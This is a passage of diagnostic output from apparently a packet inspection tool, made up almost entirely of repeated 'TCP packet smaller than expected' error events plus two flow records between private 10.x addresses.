packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....16] [ip4][..tcp] [.......10.0.0.2][16199] -> [.....10.128.0.2][21055] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....17] [ip4][..tcp] [.......10.0.0.2][19273] -> [.....10.128.0.2][19016] [MIDSTREAM] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet 